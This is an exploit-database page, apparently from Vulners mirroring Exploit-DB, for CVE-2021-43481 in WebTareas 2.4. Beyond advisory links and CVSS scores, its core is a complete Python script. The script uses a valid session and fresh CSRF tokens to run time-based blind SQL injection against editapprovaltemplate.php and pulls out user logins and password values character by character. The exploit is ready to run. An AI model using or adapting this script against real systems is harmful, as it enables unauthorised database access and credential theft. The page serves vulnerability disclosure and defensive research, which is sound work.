Lucene search
K

WebTareas 2.4 - Blind SQLi (Authenticated)

🗓️ 11 May 2022 00:00:00Reported by Behrad TaherType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 270 Views

Blind SQL injection in WebTareas 2.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WebTareas 2.4 - Blind SQL injection (Authenticated) Vulnerability
11 May 202200:00
zdt
Circl
CVE-2021-43481
21 Apr 202200:25
circl
CNNVD
webTareas SQL注入漏洞
20 Apr 202200:00
cnnvd
CVE
CVE-2021-43481
20 Apr 202219:41
cve
Cvelist
CVE-2021-43481
20 Apr 202219:41
cvelist
EUVD
EUVD-2021-30412
3 Oct 202520:07
euvd
NVD
CVE-2021-43481
20 Apr 202220:15
nvd
Packet Storm
WebTareas 2.4 SQL Injection
11 May 202200:00
packetstorm
Packet Storm
WebTareas 2.4 SQL Injection
27 Mar 202300:00
packetstorm
Prion
Sql injection
20 Apr 202220:15
prion
Rows per page
# Exploit Title: WebTareas 2.4 - Blind SQLi (Authenticated)
# Date: 04/20/2022
# Exploit Author: Behrad Taher
# Vendor Homepage: https://sourceforge.net/projects/webtareas/
# Version: < 2.4p3
# CVE : CVE-2021-43481

#The script takes 3 arguments: IP, user ID, session ID
#Example usage: python3 webtareas_sqli.py 127.0.0.1 1 4au5376dddr2n2tnqedqara89i

import requests, time, sys
from bs4 import BeautifulSoup
ip = sys.argv[1]
id = sys.argv[2]
sid = sys.argv[3]

def sqli(column):
    print("Extracting %s from user with ID: %s\n" % (column,id))
    extract = ""
    for i in range (1,33):
        #This conditional statement will account for variable length usernames
        if(len(extract) < i-1):
            break
        for j in range(32,127):
            injection = "SELECT 1 and IF(ascii(substring((SELECT %s FROM gW8members WHERE id=1),%d,1))=%d,sleep(5),0);" % (column,i,j)
            url = "http://%s/approvals/editapprovaltemplate.php?id=1" % ip
            GET_cookies = {"webTareasSID": "%s" % sid}
            r = requests.get(url, cookies=GET_cookies)
            #Because the app has CSRF protection enabled we need to send a get request each time and parse out the CSRF Token"
            token = BeautifulSoup(r.text,features="html.parser").find('input', {'name':'csrfToken'})['value']
            #Because this is an authenticated vulnerability we need to provide a valid session token
            POST_cookies = {"webTareasSID": "%s" % sid}
            POST_data = {"csrfToken": "%s" % token, "action": "update", "cd": "Q", "uq": "%s" % injection}
            start = time.time()
            requests.post(url, cookies=POST_cookies, data=POST_data)
            end = time.time() - start
            if end > 5:
                extract += chr(j)
                print ("\033[A\033[A")
                print(extract)
                break
#Modularized the script for login and password values
sqli("login")
sqli("password")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 May 2022 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 27.5
CVSS 3.19.8
EPSS0.0063
270